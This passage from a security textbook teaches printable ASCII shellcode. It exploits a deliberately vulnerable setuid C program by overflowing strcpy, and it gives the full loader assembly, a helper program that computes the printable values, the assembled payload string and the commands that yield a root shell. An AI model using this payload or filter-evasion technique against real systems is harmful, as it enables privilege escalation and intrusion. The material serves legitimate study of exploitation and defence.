Sometimes a program will place certain restrictions on buffers. This type of data sanity-checking can prevent many vulnerabilities. Consider the following example program, which is used to update product descriptions in a fictitious database. The first argument is the product code, and the second is the updated description. This program doesn't actually update a database, but it does have an obvious vulnerability in it.
#include <stdio.h> #include <stdlib.h> #include <string.h> #define MAX_ID_LEN 40 #define MAX_DESC_LEN 500 /* Barf a message and exit. */ void barf(char *message, void *extra) { printf(message, extra); exit(1); } /* Pretend this function updates a product description in a database. */ void update_product_description(char *id, char *desc) { char product_code[5], description[MAX_DESC_LEN]; printf("[DEBUG]: description is at %p\n", description); strncpy(description, desc, MAX_DESC_LEN); strcpy(product_code, id); printf("Updating product #%s with description \'%s\'\n", product_code, desc); // Update database } int main(int argc, char *argv[], char *envp[]) { int i; char *id, *desc; if(argc < 2) barf("Usage: %s <id> <description>\n", argv[0]); id = argv[1]; // id - Product code to update in DB desc = argv[2]; // desc - Item description to update if(strlen(id) > MAX_ID_LEN) // id must be less than MAX_ID_LEN bytes. barf("Fatal: id argument must be less than %u bytes\n", (void *)MAX_ID_LEN); for(i=0; i < strlen(desc)-1; i++) { // Only allow printable bytes in desc. if(!(isprint(desc[i]))) barf("Fatal: description argument can only contain printable bytes\n", NULL); } // Clearing out the stack memory (security) // Clearing all arguments except the first and second memset(argv[0], 0, strlen(argv[0])); for(i=3; argv[i] != 0; i++) memset(argv[i], 0, strlen(argv[i])); // Clearing all environment variables for(i=0; envp[i] != 0; i++) memset(envp[i], 0, strlen(envp[i])); printf("[DEBUG]: desc is at %p\n", desc); update_product_description(id, desc); // Update database. }
Despite the vulnerability, the code does make an attempt at security. The length of the product ID argument is restricted, and the contents of the description argument are limited to printable characters. In addition, the unused environment variables and program arguments are cleared out for security reasons. The first argument (id
) is too small for shellcode, and since the rest of the stack memory is cleared out, there's only one place left.
reader@hacking:~/booksrc $ gcc -o update_info update_info.c reader@hacking:~/booksrc $ sudo chown root ./update_info reader@hacking:~/booksrc $ sudo chmod u+s ./update_info reader@hacking:~/booksrc $ ./update_info Usage: ./update_info <id> <description> reader@hacking:~/booksrc $ ./update_info OCP209 "Enforcement Droid" [DEBUG]: description is at 0xbffff650 Updating product #OCP209 with description 'Enforcement Droid' reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah [DEBUG]: description is at 0xbffff650 Segmentation fault reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./ shellcode.bin) Fatal: description argument can only contain printable bytes reader@hacking:~/booksrc $
This output shows a sample usage and then tries to exploit the vulnerable strcpy()
call. Although the return address can be overwritten using the first argument (id
), the only place we can put shellcode is in the second argument (desc
). However, this buffer is checked for nonprintable bytes. The debugging output below confirms that this program could be exploited, if there was a way to put shellcode in the description argument.
reader@hacking:~/booksrc $ gdb -q ./update_info Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1" (gdb) run $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah The program being debugged has been started already Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\ xbf"x10') blah [DEBUG]: desc is at 0xbffff9cb Updating product # with description 'blah' Program received signal SIGSEGV, Segmentation fault. 0xbffff9cb in ?? () (gdb) i r eip eip 0xbffff9cb 0xbffff9cb (gdb) x/s $eip 0xbffff9cb: "blah" (gdb)
The printable input validation is the only thing stopping exploitation. Like airport security, this input validation loop inspects everything coming in. And while it's not possible to avoid this check, there are ways to smuggle illicit data past the guards.
Polymorphic shellcode refers to any shellcode that changes itself. The encoding shellcode from the previous section is technically polymorphic, since it modifies the string it uses while it's running. The new NOP sled uses instructions that assemble into printable ASCII bytes. There are other instructions that fall into this printable range (from 0x33
to 0x7e
); however, the total set is actually rather small.
The goal is to write shellcode that will get past the printable character check. Trying to write complex shellcode with such a limited instruction set would simply be masochistic, so instead, the printable shellcode will use simple methods to build more complex shellcode on the stack. In this way, the printable shellcode will actually be instructions to make the real shellcode.
The first step is figuring out a way to zero out registers. Unfortunately, the XOR instruction on the various registers doesn't assemble into the printable ASCII character range. One option is to use the AND bitwise operation, which assembles into the percent character (%) when using the EAX register. The assembly instruction of and eax, 0x41414141
will assemble to the printable machine code of %AAAA
, since 0x41
in hexadecimal is the printable character A.
An AND operation transforms bits as follows:
1 and 1 = 1 0 and 0 = 0 1 and 0 = 0 0 and 1 = 0
Since the only case where the result is 1 is when both bits are 1, if two inverse values are ANDed onto EAX, EAX will become zero.
Binary Hexadecimal
1000101010011100100111101001010 0x454e4f4a
AND 0111010001100010011000000110101 AND 0x3a313035
------------------------------------ ---------------
0000000000000000000000000000000 0x00000000
Thus, by using two printable 32-bit values that are bitwise inverses of each other, the EAX register can be zeroed without using any null bytes, and the resulting assembled machine code will be printable text.
and eax, 0x454e4f4a ; Assembles into %JONE and eax, 0x3a313035 ; Assembles into %501:
So %JONE%501:
in machine code will zero out the EAX register. Interesting. Some other instructions that assemble into printable ASCII characters are shown in the box below.
sub eax, 0x41414141 -AAAA push eax P pop eax X push esp T pop esp \
Amazingly, these instructions, combined with the AND eax
instruction, are sufficient to build loader code that will inject the shellcode onto the stack and then execute it. The general technique is, first, to set ESP back behind the executing loader code (in higher memory addresses), and then to build the shellcode from end to start by pushing values onto the stack, as shown here.
Since the stack grows up (from higher memory addresses to lower memory addresses), the ESP will move backward as values are pushed to the stack, and the EIP will move forward as the loader code executes. Eventually, EIP and ESP will meet up, and the EIP will continue executing into the freshly built shellcode.
First, ESP must be set behind the printable loader shellcode. A little debugging with GDB shows that after gaining control of program execution, ESP is 555 bytes before the start of the overflow buffer (which will contain the loader code). The ESP register must be moved so it's after the loader code, while still leaving room for the new shellcode and for the loader shellcode itself. About 300 bytes should be enough room for this, so let's add 860 bytes to ESP to put it 305 bytes past the start of the loader code. This value doesn't need to be exact, since provisions will be made later to allow for some slop. Since the only usable instruction is subtraction, addition can be simulated by subtracting so much from the register that it wraps around. The register only has 32 bits of space, so adding 860 to a register is the same as subtracting 860 from 232, or 4,294,966,436. However, this subtraction must only use printable values, so we split it up across three instructions that all use printable operands.
sub eax, 0x39393333 ; Assembles into -3399 sub eax, 0x72727550 ; Assembles into -Purr sub eax, 0x54545421 ; Assembles into -!TTT
As the GDB output confirms, subtracting these three values from a 32-bit number is the same as adding 860 to it.
reader@hacking:~/booksrc $ gdb -q (gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421 $1 = 860 (gdb)
The goal is to subtract these values from ESP, not EAX, but the instruction sub esp
doesn't assemble into a printable ASCII character. So the current value of ESP must be moved into EAX for the subtraction, and then the new value of EAX must be moved back into ESP.
However, since neither mov esp, eax
nor mov eax, esp
assemble into printable ASCII characters, this exchange must be done using the stack. By pushing the value from the source register to the stack and then popping it off into the destination register, the equivalent of a mov
dest, source
instruction can be accomplished with push
source
and pop
dest
. Fortunately, the pop
and push
instructions for both EAX and ESP registers assemble into printable ASCII characters, so this can all be done using printable ASCII.
Here is the final set of instructions to add 860 to ESP.
push esp ; Assembles into T pop eax ; Assembles into X sub eax, 0x39393333 ; Assembles into -3399 sub eax, 0x72727550 ; Assembles into -Purr sub eax, 0x54545421 ; Assembles into -!TTT push eax ; Assembles into P pop esp ; Assembles into \
This means that TX-3399-Purr-!TTT-P\
will add 860 to ESP in machine code. So far, so good. Now the shellcode must be built.
First, EAX must be zeroed out; this is easy now that a method has been discovered. Then, by using more sub
instructions, the EAX register must be set to the last four bytes of the shellcode, in reverse order. Since the stack normally grows upward (toward lower memory addresses) and builds with a FILO ordering, the first value pushed to the stack must be the last four bytes of the shellcode. These bytes must be in reverse order, due to the little-endian byte ordering. The following output shows a hexadecimal dump of the standard shellcode used in the previous chapters, which will be built by the printable loader code.
reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e351 89 e2 53
89
|//shh/bin..Q..S.| 00000020e1 cd 80
|...|
In this case, the last four bytes are shown in bold; the proper value for the EAX register is 0x80cde189
. This is easy to do by using sub
instructions to wrap the value around. Then, EAX can be pushed to the stack. This moves ESP up (toward lower memory addresses) to the end of the newly pushed value, ready for the next four bytes of shellcode (shown in italic in the preceding shellcode). More sub
instructions are used to wrap EAX around to 0x53e28951,
and this value is then pushed to the stack. As this process is repeated for each four-byte chunk, the shellcode is built from end to start, toward the executing loader code.
0000000031 c0 31
db 31 c9 99
b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e351 89 e2 53
89
|//shh/bin..Q..S.| 00000020e1 cd 80
|...|
Eventually, the beginning of the shellcode is reached, but there are only three bytes (shown in italic in the preceding shellcode) left after pushing 0x99c931db
to the stack. This situation is alleviated by inserting one singlebyte NOP instruction at the beginning of the code, resulting in the value 0x31c03190
being pushed to the stack—0x90
is machine code for NOP.
Each of these four-byte chunks of the original shellcode is generated with the printable subtraction method used earlier. The following source code is a program to help calculate the necessary printable values.
#include <stdio.h> #include <sys/stat.h> #include <ctype.h> #include <time.h> #include <stdlib.h> #include <string.h> #define CHR "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-" int main(int argc, char* argv[]) { unsigned int targ, last, t[4], l[4]; unsigned int try, single, carry=0; int len, a, i, j, k, m, z, flag=0; char word[3][4]; unsigned char mem[70]; if(argc < 2) { printf("Usage: %s <EAX starting value> <EAX end value>\n", argv[0]); exit(1); } srand(time(NULL)); bzero(mem, 70); strcpy(mem, CHR); len = strlen(mem); strfry(mem); // Randomize last = strtoul(argv[1], NULL, 0); targ = strtoul(argv[2], NULL, 0); printf("calculating printable values to subtract from EAX..\n\n"); t[3] = (targ & 0xff000000)>>24; // Splitting by bytes t[2] = (targ & 0x00ff0000)>>16; t[1] = (targ & 0x0000ff00)>>8; t[0] = (targ & 0x000000ff); l[3] = (last & 0xff000000)>>24; l[2] = (last & 0x00ff0000)>>16; l[1] = (last & 0x0000ff00)>>8; l[0] = (last & 0x000000ff); for(a=1; a < 5; a++) { // Value count carry = flag = 0; for(z=0; z < 4; z++) { // Byte count for(i=0; i < len; i++) { for(j=0; j < len; j++) { for(k=0; k < len; k++) { for(m=0; m < len; m++) { if(a < 2) j = len+1; if(a < 3) k = len+1; if(a < 4) m = len+1; try = t[z] + carry+mem[i]+mem[j]+mem[k]+mem[m]; single = (try & 0x000000ff); if(single == l[z]) { carry = (try & 0x0000ff00)>>8; if(i < len) word[0][z] = mem[i]; if(j < len) word[1][z] = mem[j]; if(k < len) word[2][z] = mem[k]; if(m < len) word[3][z] = mem[m]; i = j = k = m = len+2; flag++; } } } } } } if(flag == 4) { // If all 4 bytes found printf("start: 0x%08x\n\n", last); for(i=0; i < a; i++) printf(" - 0x%08x\n", *((unsigned int *)word[i])); printf("-------------------\n"); printf("end: 0x%08x\n", targ); exit(0); } }
When this program is run, it expects two arguments—the start and the end values for EAX. For the printable loader shellcode, EAX is zeroed out to start with, and the end value should be 0x80cde189
. This value corresponds to the last four bytes from shellcode.bin.
reader@hacking:~/booksrc $ gcc -o printable_helper printable_helper.c reader@hacking:~/booksrc $ ./printable_helper 0 0x80cde189 calculating printable values to subtract from EAX.. start: 0x00000000 - 0x346d6d25 - 0x256d6d25 - 0x2557442d ------------------- end: 0x80cde189 reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin 00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh| 00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 5389
|//shh/bin..Q..S.| 00000020e1 cd 80
|...| 00000023 reader@hacking:~/booksrc $ ./printable_helper 0x80cde189 0x53e28951 calculating printable values to subtract from EAX.. start: 0x80cde189 - 0x59316659 - 0x59667766 - 0x7a537a79 ------------------- end: 0x53e28951 reader@hacking:~/booksrc $
The output above shows the printable values needed to wrap the zeroed EAX register around to 0x80cde189
(shown in bold). Next, EAX should be wrapped around again to 0x53e28951
for the next four bytes of the shellcode (building backwards). This process is repeated until all the shellcode is built. The code for the entire process is shown below.
BITS 32 push esp ; Put current ESP pop eax ; into EAX. sub eax,0x39393333 ; Subtract printable values sub eax,0x72727550 ; to add 860 to EAX. sub eax,0x54545421 push eax ; Put EAX back into ESP. pop esp ; Effectively ESP = ESP + 860 and eax,0x454e4f4a and eax,0x3a313035 ; Zero out EAX. sub eax,0x346d6d25 ; Subtract printable values sub eax,0x256d6d25 ; to make EAX = 0x80cde189. sub eax,0x2557442d ; (last 4 bytes from shellcode.bin) push eax ; Push these bytes to stack at ESP. sub eax,0x59316659 ; Subtract more printable values sub eax,0x59667766 ; to make EAX = 0x53e28951. sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end) push eax sub eax,0x25696969 sub eax,0x25786b5a sub eax,0x25774625 push eax ; EAX = 0xe3896e69 sub eax,0x366e5858 sub eax,0x25773939 sub eax,0x25747470 push eax ; EAX = 0x622f6868 sub eax,0x25257725 sub eax,0x71717171 sub eax,0x5869506a push eax ; EAX = 0x732f2f68 sub eax,0x63636363 sub eax,0x44307744 sub eax,0x7a434957 push eax ; EAX = 0x51580b6a sub eax,0x63363663 sub eax,0x6d543057 push eax ; EAX = 0x80cda4b0 sub eax,0x54545454 sub eax,0x304e4e25 sub eax,0x32346f25 sub eax,0x302d6137 push eax ; EAX = 0x99c931db sub eax,0x78474778 sub eax,0x78727272 sub eax,0x774f4661 push eax ; EAX = 0x31c03190 sub eax,0x41704170 sub eax,0x2d772d4e sub eax,0x32483242 push eax ; EAX = 0x90909090 push eax push eax ; Build a NOP sled. push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax push eax
At the end, the shellcode has been built somewhere after the loader code, most likely leaving a gap between the newly built shellcode and the executing loader code. This gap can be bridged by building a NOP sled between the loader code and the shellcode.
Once again, sub
instructions are used to set EAX to 0x90909090
, and EAX is repeatedly pushed to the stack. With each push
instruction, four NOP instructions are tacked onto the beginning of the shellcode. Eventually, these NOP instructions will build right over the executing push
instructions of the loader code, allowing the EIP and program execution to flow over the sled into the shellcode.
This assembles into a printable ASCII string, which doubles as executable machine code.
reader@hacking:~/booksrc $ nasm printable.s reader@hacking:~/booksrc $ echo $(cat ./printable) TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w% -ptt%P- %w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w-- B2H2PPPPPPPPPPPPPPPPPPPPPP reader@hacking:~/booksrc $
This printable ASCII shellcode can now be used to smuggle the actual shellcode past the input-validation routine of the update_info program.
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable) [DEBUG]: desc argument is at 0xbffff910 Segmentation fault reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./ printable) [DEBUG]: desc argument is at 0xbffff910 Updating product ########### with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm% --DW%P- Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c -W0TmP- TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP' sh-3.2# whoami root sh-3.2#
Neat. In case you weren't able to follow everything that just happened there, the output below watches the execution of the printable shellcode in GDB. The stack addresses will be slightly different, changing the return addresses, but this won't affect the printable shellcode—it calculates its location based on ESP, giving it this versatility.
reader@hacking:~/booksrc $ gdb -q ./update_info Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) disass update_product_description Dump of assembler code for function update_product_description: 0x080484a8 <update_product_description+0>: push ebp 0x080484a9 <update_product_description+1>: mov ebp,esp 0x080484ab <update_product_description+3>: sub esp,0x28 0x080484ae <update_product_description+6>: mov eax,DWORD PTR [ebp+8] 0x080484b1 <update_product_description+9>: mov DWORD PTR [esp+4],eax 0x080484b5 <update_product_description+13>: lea eax,[ebp-24] 0x080484b8 <update_product_description+16>: mov DWORD PTR [esp],eax 0x080484bb <update_product_description+19>: call 0x8048388 <strcpy@plt> 0x080484c0 <update_product_description+24>: mov eax,DWORD PTR [ebp+12] 0x080484c3 <update_product_description+27>: mov DWORD PTR [esp+8],eax 0x080484c7 <update_product_description+31>: lea eax,[ebp-24] 0x080484ca <update_product_description+34>: mov DWORD PTR [esp+4],eax 0x080484ce <update_product_description+38>: mov DWORD PTR [esp],0x80487a0 0x080484d5 <update_product_description+45>: call 0x8048398 <printf@plt> 0x080484da <update_product_description+50>: leave 0x080484db <update_product_description+51>: ret End of assembler dump. (gdb) break *0x080484db Breakpoint 1 at 0x80484db: file update_info.c, line 21. (gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable) Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./ printable) [DEBUG]: desc argument is at 0xbffff8fd Program received signal SIGSEGV, Segmentation fault. 0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6 (gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable) The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf" x10') $(cat ./printable) [DEBUG]: desc argument is at 0xbffff8fd Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y -fwfY- yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT -%NN0- %o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP' Breakpoint 1, 0x080484db in update_product_description ( id=0x72727550 <Address 0x72727550 out of bounds>, desc=0x5454212d <Address 0x5454212d out of bounds>) at update_info.c:21 21 } (gdb) stepi 0xbffff8fd in ?? () (gdb) x/9i $eip 0xbffff8fd: push esp 0xbffff8fe: pop eax 0xbffff8ff: sub eax,0x39393333 0xbffff904: sub eax,0x72727550 0xbffff909: sub eax,0x54545421 0xbffff90e: push eax 0xbffff90f: pop esp 0xbffff910: and eax,0x454e4f4a 0xbffff915: and eax,0x3a313035 (gdb) i r esp esp 0xbffff6d0 0xbffff6d0 (gdb) p /x $esp + 860 $1 = 0xbffffa2c (gdb) stepi 9 0xbffff91a in ?? () (gdb) i r esp eax esp 0xbffffa2c 0xbffffa2c eax 0x0 0 (gdb)
The first nine instructions add 860 to ESP and zero out the EAX register The next eight instructions push the last eight bytes of the shellcode to the stack in four-byte chunks. This process is repeated in the next 32 instructions to build the entire shellcode on the stack.
(gdb) x/8i $eip 0xbffff91a: sub eax,0x346d6d25 0xbffff91f: sub eax,0x256d6d25 0xbffff924: sub eax,0x2557442d 0xbffff929: push eax 0xbffff92a: sub eax,0x59316659 0xbffff92f: sub eax,0x59667766 0xbffff934: sub eax,0x7a537a79 0xbffff939: push eax (gdb) stepi 8 0xbffff93a in ?? () (gdb) x/4x $esp 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 (gdb) stepi 32 0xbffff9ba in ?? () (gdb) x/5i $eip 0xbffff9ba: push eax 0xbffff9bb: push eax 0xbffff9bc: push eax 0xbffff9bd: push eax 0xbffff9be: push eax (gdb) x/16x $esp 0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0 0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69 0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000 0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) i r eip esp eax eip 0xbffff9ba 0xbffff9ba esp 0xbffffa04 0xbffffa04 eax 0x90909090 -1869574000 (gdb)
Now with the shellcode completely constructed on the stack, EAX is set to 0x90909090
. This is pushed to the stack repeatedly to build a NOP sled to bridge the gap between the end of the loader code and the newly constructed shellcode.
(gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158 (gdb) stepi 10 0xbffff9c4 in ?? () (gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050 0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000 0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158 (gdb) stepi 5 0xbffff9c9 in ?? () (gdb) x/24x 0xbffff9ba 0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050 0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090 0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158 (gdb)
Now the execution pointer (EIP) can flow over the NOP bridge into the constructed shellcode.
Printable shellcode is a technique that can open some doors. It and all the other techniques we discussed are just building blocks that can be used in a myriad of different combinations. Their application requires some ingenuity on your part. Be clever and beat them at their own game.